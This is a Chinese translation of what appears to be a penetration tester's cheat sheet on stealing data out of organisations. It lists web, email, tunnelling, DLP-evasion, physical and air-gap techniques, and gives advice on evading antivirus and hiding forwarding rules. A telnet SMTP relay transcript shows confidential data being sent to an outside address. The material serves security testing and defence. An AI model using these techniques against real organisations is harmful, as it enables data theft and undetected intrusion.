參考來源：pentestpartners

轉自：FreeBuf

編譯：secist

資料竊取是針對組織攻擊鏈中的最後一個階段。攻擊者竊取資料的技術可謂花樣百出，網上也有大量關於資料竊取方面的技術文件以及工具。本文的目的就是儘可能的將這些技術整合起來，以作為大家日後滲透測試時的一個CheatSheet使用。

工欲善其事必先利其器，防範資料竊取必須先熟悉其使用的手段。文中所提及的大多數技術涉及直接的內部到外部資料竊取。需要說明的是這並不是一個完整版本，如果你知道的更多，那麼請在評論處留言並告知我們！

Web

許多企業都沒有在合適的地方設定任何型別的web代理這對於攻擊者而言將會是個很好的機會。

Anon paste站點例如pastebin甚至是github，都為我們提供了一個數據竊取的簡易通道。許多技術組織通常都會允許Github的使用。

如果有代理和過濾，你可能就需要花點心思了，但許多常見網站都會允許使用Dropbox，Google Drive和Box等，特別是那些有云外包服務的企業。

許多站點出於某些原因並未啟用TLS，這很容易導致中間人攻擊。因此，如果你的站點沒有啟用https，那麼可以使用用Let’s Encrypt為你的站點免費加密。

即使啟用了類似Websense這樣的功能，很多類別也不能用於完整的TLS檢查——比如財務和醫療——僱員隱私。許多分類系統允許你根據自己的實際情況設定分類，因此攻擊者只要做好預先計劃，例如建立一個醫療站點就可能輕鬆繞過過濾機制。

Flickr和YouTube是否可以訪問？ 如果可以的話，則可以使用這些服務暫存相對較大的檔案，包括使用隱寫術。

也許你的企業擁有自己的可從Internet訪問的Web伺服器。那麼你可以想辦法拿下其中的一臺，來作為你進一步滲透的中轉站。

Email

你是否可以訪問一些主要的網路郵件提供商 - 例如Gmail，Outlook.com等？如果你的目標企業有外包到Office 365或GSuite（檢查其MX或郵件頭），則更有可能實現此目的。

出站SMTP/POP3/IMAP是否可用。檢查加密以及未加密的埠 - 25/465/587,110/999,143/993。

是否存在錯誤配置的郵件中繼？是否可以通過欺騙內部地址來中繼到外部地址？（這也可在內網釣魚時用來繞過message hygiene過濾器 ）

#telnet internal.smtp.local 25
HELO attacker
MAIL FROM:<
 
[email protected]>
RCPT TO:<[email protected]>
DATA
Here is lots of confidential data
.
QUIT

如果郵箱遭到入侵（後釣魚利用），攻擊者可以將Outlook中的自動轉發規則設定為他們選擇的外部地址。通常這對於高價值目標非常有用。之後，我們可以使用相同的規則來刪除已傳送的專案，以覆蓋留下的痕跡。

Malware

Meterpreter是一種先進的，可動態擴充套件的有效載荷，它使用記憶體中的DLL注入階段，並在執行時通過網路擴充套件。它通過stager套接字進行通訊並提供全面的客戶端Ruby API。它包含命令歷史記錄，製表符完成，頻道等。https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

要儘可能的避免殺軟和網路入侵檢測，你可以使用Metasploit中提供的編碼器（例如/shikata_ga_nai）。還有就是儘量不要將正在使用的payload，上傳到像VirusTotal這類的線上病毒掃描網站。因為一旦上傳你的payload就會被分享給所有的AV公司，並會在短時間內被防毒軟體查殺。https://www.offensive-security.com/metasploit-unleashed/msfencode/

協議濫用

FTP/SSH/SCP/SFTP可能被允許出站，因為它們經常被用作資料交換協議。客戶端工具也可以在系統上隨時使用，而無需下載其他二進位制檔案。

DNS Tunneling，是隱蔽通道的一種，通過將其他協議封裝在DNS協議中傳輸建立通訊。因為在我們的網路世界中DNS是一個必不可少的服務，所以大部分防火牆和入侵檢測裝置很少會過濾DNS流量。這裡推薦大家可以使用dnscat2。

一些IDS/IDP現在能夠發現DNS隧道，但經常錯過通過DNS TXT記錄傳送的資料。我們製作了一個工具你可以通過它來提供檔案：https://github.com/pentestpartners/Uninvited-Guest，還有一個早期的版本：https://github.com/pentestpartners/DNSTXT-encoder。

你可以嘗試原始TCP套接字。可能ICMP被允許出站（它是一種非常實用的診斷工具，在IPv6中很重要）- 但它很慢。https://github.com/sensepost/DET

我們可以使用secret_sender操縱IP資料包，通過其中一個協議（TCMP Echo Request，TCP SYN或UDP）傳送從命令列接受的訊息，將資料洩露到伺服器上。因為它看起來像是伺服器的正常資料包，因此它不會引起任何的懷疑。

Old-school port knocking（埠敲門）也是一種選擇：https://www.sans.org/reading-room/whitepapers/covert/portknockout-data-exfiltration-port-knocking-udp-37307

像bittorrent這樣的P2P協議是否可用？

如果HTTPS檢查沒有對外部和內部名稱做匹配性檢查，那麼可以嘗試通過Tor和domain fronting（域前置）來繞過過濾器。https://blog.didierstevens.com/2018/01/20/quickpost-data-exfiltration-with-tor-browser-and-domain-fronting/

許多即時訊息協議，如Skype，Facebook Messenger和IRC也可以被利用。就拿我當前所在的企業來說，我們使用的是Skype for Business並且還啟用了federation。https://www.sans.org/reading-room/whitepapers/covert/skype-data-exfiltration-34560

NTP和BGP協議通常也被允許，可以濫用它們來洩露資料。https://www.darknet.org.uk/2016/11/pyexfil-python-data-exfiltration-tools/

遠端桌面通常可用於對映磁碟和剪貼簿，即便被限制，我們也可以使用PTP Rat通過顯示器畫素值來洩露資料。

X509證書可以被嵌入到二進位制資料中，因此可用於傳輸資料。https://github.com/fideliscyber/x509

Internal Staging

WMI呼叫可用於啟動傳輸，設定ADS或採用卷影拷貝來隱藏staging系統上的資料。https://github.com/secabstraction/WmiSploit

Windows BITS可用於傳輸排程或涓流傳輸資訊，以避免觸發“top talkers”觸發器。

檔案型別

對於一些安裝了DLP（資料洩露防護系統）的企業，我們可以嘗試將資料封裝在以下檔案型別來繞過DLP：

Zip

加密 (AES) Zip

深度巢狀 Zip（許多系統會在10-100層之後停止掃描，以避免Zip炸彈）

7zip

RAR

CAB

Tar (+/- gzip)

WIM image

物理

如果攻擊者或惡意的內部工作人員具有物理訪問許可權，那麼我們又該怎麼做？

檢查筆記本USB插口是否已鎖定，MP3播放器和智慧手機。是否已設定僅允許授權USB連線選項。

可以將資料儲存在CD和DVD中，相較於USB它們更難以洩露資料。

筆記本上的資產貼紙，是否有任何洩露資訊？行動式裝置是否具有完全的磁碟加密？垃圾箱或是在eBay上是否有處理不當的機器？

許多企業都擁有自己的印表機，印表機的功能也非常的齊全，例如檢索之前的列印任務，甚至可以通過傳真線傳輸資料。http://seclists.org/bugtraq/2016/Sep/54

公司的Wi-Fi是否安全？是否使用了不安全WPA-PSK加密。訪客Wi-Fi網路是否與企業主要網路充分隔離？企業系統是否被允許連線到訪客Wi-Fi？

攻擊者是否可以利用弱邊緣埠安全性在網路上植入裝置，例如具有自己的蜂窩帶外命令連線的Raspberry Pi？

網路攝像頭

手機

硬拷貝

隔離網路

在網路隔離的情況下，可以針對藍芽裝置發起攻擊，例如控制裝置或在裝置範圍內傳播惡意軟體等。https://blog.malwarebytes.com/cybercrime/2017/09/blueborne-bluetooths-airborne-influenza/

PC揚聲器：主要利用特定的音訊晶片功能，將輸出音訊插孔轉換成輸入插孔，從而將連線的揚聲器有效地轉換為（非傳統）麥克風。感染air-gapped計算機的惡意軟體可以將本地儲存的檔案轉換成音訊訊號，並通過連線的揚聲器、耳機或耳塞將它們傳送到附近的另一臺計算機裝置。具體可參考：https://thehackernews.com/2018/03/air-gap-computer-hacking.html

LED燈：硬碟上的LED指示燈也是個很好的突破口，它每秒最多能閃爍6000次。因此，黑客可以藉助這些閃爍遠端獲取資料。https://www.wired.com/2017/02/malware-sends-stolen-data-drone-just-pcs-blinking-led/

磁：ODINI和MAGNETO攻擊可以利用計算機處理器產生的磁訊號來竊取資料。磁訊號可以通過讀寫硬碟驅動來產生。由於該攻擊為低頻磁場，因此可以繞過法拉第遮蔽。

電力線：通過電力線從隔離計算機中提取資料。

“Fansmitter”- 佔用計算機的風扇並修改其轉速以控制產生的聲音。https://www.technologyreview.com/s/601816/how-fansmitter-malware-steals-data-from-air-gapped-computers/